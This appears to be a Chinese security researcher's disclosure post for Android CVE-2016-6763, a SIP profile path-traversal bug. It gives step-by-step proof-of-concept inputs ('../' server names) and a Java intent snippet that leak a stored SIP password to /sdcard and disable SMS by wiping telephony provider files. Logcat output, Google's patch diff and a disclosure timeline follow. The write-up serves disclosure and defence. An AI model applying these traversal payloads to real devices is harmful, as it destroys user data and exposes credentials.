Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。
* CVE: CVE-2016-6763
* BugID: A-31530456
* 严重性: 高
* 影响的Google设备: All
* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0
漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法,存在目录穿越,mProfileDirectory和Sip profile name(形式为:sip账户@sip主机名)未经检查就直接拼接在了一起,而Sip profile name允许存在包括’/’和’..’等在内的特殊字符,因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name,将sip序列化文件存储于属于radio用户的的任意目录。
这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹,或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中,我们基于Nexus 6P设备和Android 6.0.1版本,设想了两种需要物理接触和用户交互的攻击场景,但根据Google安全公告,不排除他们发现了自动化的攻击面。
假设手机上已有一个SIP账户:alice@CompromisedSite,口令为”12345″
1. 打开电话应用的设置->通话->通话账号->Sip账号,对已有账号进行修改;
2. 将用户名修改为”alice/”,将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”,点击保存。
sip 账户配置文件将出现在sdcard目录,可以直接查看这个配置文件获得原始口令“12345”
shell@angler:/sdcard $ ls -a -l
-rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj
1. 打开电话应用的设置->通话->通话账号->Sip账号,添加一个新的Sip账号;
2. 用户名填“alice/”,服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“,密码随意,然后点击保存;
3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查,这个账户不会出现在Sip账户的ListView中,然而由于目录穿越的存在,sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下;
4. 使用以下代码,将刚才添加的Sip账号显示出来;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent();
i.setComponent(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”));
PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipConnectionService”),
“alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”);
i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);
startActivity(i);
}
});
}
}
5. 将服务器修改
为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”,并点击保存,这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此,首先是com.android.providers.telephony目录下的所有文件被删除,紧接着建立databases目录以及其下的mmssms.db目录。
此时,手机的所有短信功能将被禁用,既不能收,也不能发。
logcat显示sqlite错误,因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位,而使真正的mmssms.db无法恢复。如果使用假的telephony.db,则可以禁用电话功能,或者瞄准/data/misc/radio/目录下的其他文件进行占位,都会对手机的radio功能带来影响。
09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]
09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)
由于占位文件的存在,普通用户只有通过恢复工厂设置重新启用短信功能。
Google的修复比较严谨,不是简单的过滤’/’猥琐字符。
import android.content.Context;
import android.net.sip.SipProfile;
+import android.util.EventLog;
import android.util.Log;
import java.io.File;
@@ -51,9 +52,13 @@
mSipSharedPreferences = new SipSharedPreferences(context);
}
– public void deleteProfile(SipProfile p) {
+ public void deleteProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
– deleteProfile(new File(mProfilesDirectory + p.getProfileName()));
+ File profileFile = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), profileFile)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
+ deleteProfile(profileFile);
if (mProfilesCount < 0) retrieveSipProfileListInternal();
mSipSharedPreferences.setProfilesCount(–mProfilesCount);
}
@@ -69,7 +74,10 @@
public void saveProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
if (mProfilesCount < 0) retrieveSipProfileListInternal();
– File f = new File(mProfilesDirectory + p.getProfileName());
+ File f = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), f)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
if (!f.exists()) f.mkdirs();
AtomicFile atomicFile =
new AtomicFile(new File(f, PROFILE_OBJ_FILE));
@@ -141,4 +149,19 @@
}
return null;
}
+
+ /**
+ * Verifies that the file is a direct child of the base directory.
+ */
+ private boolean isChild(File base, File file) {
+ if (base == null || file == null) {
+ return false;
+ }
+ if (!base.equals(file.getAbsoluteFile().getParentFile())) {
+ Log.w(TAG, “isChild, file is not a child of the base dir.”);
+ EventLog.writeEvent(0x534e4554, “31530456”, -1, “”);
+ return false;
+ }
+ return true;
+ }
}
2016-09-12: 上报Google
2016-10-04: Google确认漏洞,评级高
2016-12-05: 发布补丁
2016-12-08: 公开